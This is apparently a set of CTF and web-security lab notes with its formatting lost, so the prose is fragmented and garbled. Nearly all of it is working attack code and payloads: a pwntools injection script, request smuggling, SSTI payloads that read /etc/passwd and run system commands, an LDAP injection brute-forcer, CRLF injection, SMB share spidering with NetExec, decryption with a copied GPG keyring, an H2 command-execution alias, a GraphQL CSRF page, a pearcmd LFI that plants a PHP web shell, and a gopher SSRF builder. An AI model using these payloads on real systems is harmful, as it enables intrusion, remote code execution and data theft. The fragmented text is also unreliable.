svr = remote("74.207.229.59",20240)
payloads = [b"coding: raw_unicode_escape",b"\\u000aimport os",b"\\u000aos.system(\"cat /flag.txt\")",b"\\u000aos.system(\"cat /*/*\")"]
for index,j in enumerate(payloads):
svr.recv()
svr.sendline(str(index).encode())
svr.recv()
svr.sendline(j)
svr.recv()
if index+1 == len(payloads):
svr.sendline(b'N')
print(svr.recv().decode())
else:
svr.sendline(b'y')
svr.close()
HTTP/1
specification provides 2 different ways where a request ends: The Content-Length
and the Transfer-Encoding
headers.Content-Length
is straight forward.It specifies the body length of a request.POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
Transfer-Encoding
can be used to specify the message body through chunked encoding
.This means the message body contains one or more chunks of data. Each chunk consists of the chunk size in bytes (expressed in hexadecimal), followed by a newline, followed by the chunk contents. The message is terminated with a chunk of size zero. For example:POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b
q=smuggling
0
Transfer-Encoding
due to 2 reasons-:
Transfer-Encoding
header in requests.Transfer-Encoding
header can be induced not to process it if the header is obfuscated in some way.HTTP/1.1
and HTTP/2
in burpsuiteGET
and POST
requests and determines body length with CONTENT-LENGTH
and the backend server uses Transfer-Encoding
.0
char is interpreted as a new request.0
gets interpreted by the back-end server and raises an unknown-header error
.Transfer-Encoding
while the backend server uses the Content-Length
header to determine body length.It can be carried out as follows:POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
\r\n\r\n
,Ensure update content-length
is uncheckedPOST / HTTP/1.1
Host: 0a840084034a88008123fc40002200ab.web-security-academy.net
Cookie: session=fkJmh9avyVpYemUQDiwdtKtNezdcQOWr
Content-Length: 3
Transfer-Encoding: chunked
53
GPOST / HTTP/1.1
Host: 0a840084034a88008123fc40002200ab.web-security-academy.net
0
53
,the content-length will be set to 3.Then,the next chunk will be interpreted as a new request by the server.Donât forget that 53 is hex encoded.Donât forget to add space after the next smuggled request because it is required in requests with the Content-Length body.Transfer-Encoding
header-:Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
Transfer-Encoding
header with Transfer-Encoding: x
so that it can be passed to the backend server..Then, create a normal chunked
request with the smuggled request in the body.TC:CL
smuggling request by setting Content-Lenght
to read the chunked requestâs number of bytes.{"message":"Hello Carlos"}
<td>Hello Carlos</td>
{"message":"<img src=1 onerror='alert(1)'>"}
$output = $twig->render("Dear " . $_GET['name']);
curl <url>/?name=
$%\
till you get an error that might identify the template.If fuzzing was inconclusive, a vulnerability may still reveal itself using one of these approaches. Even if fuzzing did suggest a template injection vulnerability, you still need to identify its context in order to exploit it.render('Hello ' + username)
${7*7}
and we get 49
,it indicates SSTI vulnerability.greeting = getQueryParameter('greeting')
engine.render("Hello +greeting+", data)
Hello Carlos
http://vulnerable-website.com/?greeting=data.username
http://vulnerable-website.com/?greeting=data.username}}<tag>
Hello Carlos<tag>
(erb):1:in `<main>': undefined local variable or method `foobar' for main:Object (NameError)
from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval'
from /usr/lib/ruby/2.5.0/erb.rb:876:in `result'
from -e:4:in `<main>'
SSTI
-:<%=code %>
<%= File.open('/etc/passwd').read %>
self
.<%= self %>
<%= self.class.name %>
<%= system("whoami"); %>
<%=system(%27rm+morale.txt%27)%>
t = template.Template("<html></html>")
print(t.generate(myvalue="XXX"))
__import__
straightup and pick up your desired module.
username
and password
are passed into the ldap query unfiltered.if request.method == 'POST':
username = request.form['username']
password = request.form['password']
server = Server('localhost', port=389, get_info=ALL)
conn = Connection(server,
user=f'cn=admin,dc=bts,dc=ctf',
password=ADMIN_PASSWORD,
auto_bind=True)
if not conn.bind():
return 'Failed to connect to LDAP server', 500
conn.search('ou=people,dc=bts,dc=ctf', f'(&(employeeType=active)(uid={username})(userPassword={password}))', attributes=['uid'])
user=*)(uid=*)(uid=*&password=*
true
which will bypass authentication(&(employeeType=active)(uid=*)(uid=*)(uid=*)(userPassword={password}))
(Description=a*)
#! /usr/bin/env python3
import requests
import string
charset = string.ascii_lowercase + string.digits+"{}_"
url="https://lightweight.chal.bts.wh.edu.pl"
flag="BtSCTF{"
while True:
for i in charset:
payload = f"*)(uid=*)(Description={flag+i}*)(uid=*"
data = {"username":payload,"password":"*"}
status = requests.post(url,data=data).text
if "Invalid credentials" in status:
pass
elif "User Description" in status:
flag +=i
print(f"[+] Found char:{flag}")
break
if flag.endswith("}"):
print(f"[+] Flag is {flag}")
break
userPassword
-:
userPassword:2.5.13.18:=\xx (\xx is a byte)
userPassword:2.5.13.18:=\xx\xx
userPassword:2.5.13.18:=\xx\xx\xx
REWRITE RULE
used in the version.RewriteEngine on
RewriteRule "^/name/(.*)" "http://backend:3000/?name=$1" [P]
ProxyPassReverse "/name/" "http://backend:3000/"
GET /name/a%20HTTP/1.1%0d%0aHost:%20localhost%0d%0aa:%20admin%0d%0a%0d%0aGET%20/ HTTP/1.1
Host: wonka.chal.cyberjousting.com
<?php header('location:file://'.$_REQUEST['x']); ?>
<iframe src=http://<ip>/test.php?x=/etc/passwd width=1000px height=1000px></iframe>
Url should be-:
Result-:
pipx
-:sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec
nxc smb ./[host_file_name]
nxc smb ./hosts.txt -u '' -p '' --shares
anonymous
to guest
nxc smb ./hosts.txt -u 'anonymous' -p '' - shares
nxc smb -u 'anonymous' -p '' -M spider_plus -o DOWNLOAD_FLAG=True
nxc smb ./hosts.txt -u "${TARGET_USERNAME}" -p "${TARGET_PASSWORD}"
c:\
filesystem of a windows host on wslmount -f drvfs 'c:' /mnt/dir
cp -r /home/hish/.gnupg /tmp/gnupg-hish
chmod -R 700 /tmp/gnupg-hish
export GNUPGHOME=/tmp/gnupg-hish
gpg --list-secret-keys --keyid-format LONG
gpg --decrypt /home/hish/backup/keyvault.gpg
hashcat -a 0 -m 3200 (hash) (wordlist)
\documentclass{article}
\usepackage{verbatim}
\begin{document}
\verbatiminput{/challenge/app-script/ch23/.passwd}
\end{document}
}
$$
or concat
-:SQL Injection';CREATE ALIAS exec_cmd1 AS 'String shellme(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");
return s.hasNext() ? s.next() : "";}'--
rsa_sign
docker tooldocker build . -t sig2n
docker run -it sig2n /bin/bash
python3 jwt_forgery.py ey.... ey....
FROM ubuntu:20.04
RUN apt update && apt install -y python3.8 python3-pip python3-gmpy2 libgmp-dev vim libmpfr-dev libmpc-dev && rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY . .
RUN pip3 install -r requirements.txt
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://0a5e002c03f4803d8cf0f98a009b00ea.web-security-academy.net/graphql/v1" method="POST" enctype="text/plain">
<input type="hidden" name="query" value='mutation { changeEmail(input: { email: "wiener@normal-user.net" }) { email } }' />
<input type="submit" id="send">
</form>
<script>
document.getElementById("send").click();
</script>
</body>
</html>
./sourcemapper -output dhubsrc -url []
<?php
session_start();
if (isset($_GET['lang'])) {
$lang = $_GET['lang'];
// we don't trust the GET parameter, comes from the user
if ($lang != 'en' && $lang != 'it') {
// default if lang is not valid, is italian
$lang = 'it';
}
// Register the session and set the cookie
$_SESSION['lang'] = $lang;
setcookie('lang', $lang, time() + (3600 * 24 * 30));
} else if (isset($_SESSION['lang'])) {
$lang = $_SESSION['lang'];
} else if (isset($_COOKIE['lang'])) {
// cookie is safe, we set it ourself
$lang = $_COOKIE['lang'];
} else {
// default language is browser language
$lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
if ($lang != 'en' && $lang != 'it') {
// default if browser is not valid, is italian
$lang = 'it';
}
}
// include the language file
include 'lang/' . $lang . '.php';
?>
./../../../usr/local/lib/php/pearcmd
which worked.register_argc_argv
turned on in Docker-php
which allows query string to be passed as cli.Pearâs config-create
will be used to exploit it.It is specified in RFC3875 that if the query-string does not contain no encoding = , and the request is GET or HEAD, query-string needs to be used as a command line parameter.GET /index.php?+config-create+/<?=system($_GET['cmd']);?>+/tmp/hello.php HTTP/1.1
Host: 172.17.0.2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: en-US,en;q=0.8
Accept-Encoding: gzip, deflate, br
Cookie: lang=../../../../usr/local/lib/php/pearcmd
Connection: close
/tmp/hello.php
which weâll later include to gain RCE.RCEimport string
import requests
raw_post_request = f""""""
FULL = raw_post_request.encode().hex()
payload = ""
for c in range(0,len(FULL),2):
ch = chr(int(FULL[c:c+2],16))
payload += ch if ch in string.ascii_lowercase+string.ascii_uppercase+string.digits else f"%{FULL[c:c+2]}"
gopher_url = f"gopher://localhost:8080/_{payload}"
print(gopher_url)